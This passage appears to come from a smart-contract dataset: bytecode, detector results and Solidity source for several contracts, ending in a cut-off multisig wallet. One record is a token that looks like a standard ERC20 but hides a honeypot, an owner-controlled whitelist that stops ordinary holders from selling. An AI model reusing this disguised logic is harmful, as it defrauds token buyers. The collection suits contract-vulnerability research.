b5610eed565b6000546001600160a01b03908116911614610505576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b6001600160a01b03811661051857600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f1935050505015801561054e573d6000803e3d6000fd5b505050565b61055b610eed565b6000546001600160a01b039081169116146105ab576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600b55565b6105b8610eed565b6000546001600160a01b03908116911614610608576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600c5481565b600b5481565b60025481565b600a546001600160a01b031681565b6006546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b15801561069c57600080fd5b505afa1580156106b0573d6000803e3d6000fd5b505050506040513d60208110156106c657600080fd5b50516004549091508110156106df5760009150506106f1565b6004546106ed908290610ef1565b9150505b90565b60008060015460025442038161070657fe5b04905060015481600101026002540191505090565b610723610bd3565b6001600160a01b0316336001600160a01b0316148061074c5750600a546001600160a01b031633145b610786576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b6006546040805163bd85b03960e01b81526002600482015290516001600160a01b039092169163bd85b03991602480820192602092909190829003018186803b1580156107d257600080fd5b505afa1580156107e6573d6000803e3d6000fd5b505050506040513d60208110156107fc57600080fd5b5051600455600b548511156108fb57600754600654604080516369940d7960e01b815290516001600160a01b0393841693637fc09531938a939116916369940d7991600480820192602092909190829003018186803b15801561085e57600080fd5b505afa158015610872573d6000803e3d6000fd5b505050506040513d602081101561088857600080fd5b5051600654604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b1580156108e257600080fd5b505af11580156108f6573d6000803e3d6000fd5b505050505b61091a8261091486600554610ef190919063ffffffff16565b90610f3a565b600555821561092e5761092c83610f94565b505b600c5481106109a85760075460095460408051633629c52760e21b8152600481018590526001600160a01b0392831660248201529051919092169163d8a7149c91604480830192600092919082900301818387803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050505b505042600355505050565b6109bb610eed565b6000546001600160a01b03908116911614610a0b576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600555565b610a18610eed565b6000546001600160a01b03908116911614610a68576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610aba610eed565b6000546001600160a01b03908116911614610b0a576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600191909155600255565b610b1d610eed565b6000546001600160a01b03908116911614610b6d576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b6001600160a01b03821615610b9857600780546001600160a01b0319166001600160a01b0384161790555b6001600160a01b03811615610bc357600680546001600160a01b0319166001600160a01b0383161790555b5050565b60055481565b60035481565b6000546001600160a01b031690565b60045481565b6009546001600160a01b031681565b610bff610eed565b6000546001600160a01b03908116911614610c4f576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610c79610eed565b6000546001600160a01b03908116911614610cc9576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d2057600080fd5b505af1158015610d34573d6000803e3d6000fd5b505050506040513d6020811015610d4a57600080fd5b5050505050565b60015481565b60035490565b610d65610eed565b6000546001600160a01b03908116911614610db5576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b610ddf610eed565b6000546001600160a01b03908116911614610e2f576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b6001600160a01b038116610e745760405162461bcd60e51b81526004018080602001828103825260268152602001806111696026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b6006546001600160a01b031681565b3390565b6000610f3383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d1565b9392505050565b600082820183811015610f33576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6007546040805163beefbfd360e01b8152306004820152905160009283926001600160a01b039091169163beefbfd391602480820192602092909190829003018186803b158015610fe457600080fd5b505afa158015610ff8573d6000803e3d6000fd5b505050506040513d602081101561100e57600080fd5b505190508281101561105b576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b6007546009546040805163a3c1295b60e01b8152600481018790526001600160a01b0392831660248201529051919092169163a3c1295b91604480830192600092919082900301818387803b1580156110b357600080fd5b505af11580156110c7573d6000803e3d6000fd5b5050505050919050565b600081848411156111605760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561112557818101518382015260200161110d565b50505050905090810190601f1680156111525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220604d6db9b49cd99056e8472f8fa7900b019041fcc22782297b34237b00f9809664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,652
0xd9ea2bf23264d114e1ab31475aba9a07dd5f37f9
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_PLE(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209c0588b2990d5de761f003136a53c3c4e439d4395fb5a95f4dc081345da27f5164736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,653
0x7E2FE61AFC64CA49A8EE24Abf6EddA165962a21e
pragma solidity ^0.4.11; /* Copyright 2017, Stefan George (Consensys) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="770403121116195910121805101237141819041219040e0459191203">[email&#160;protected]</a>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; 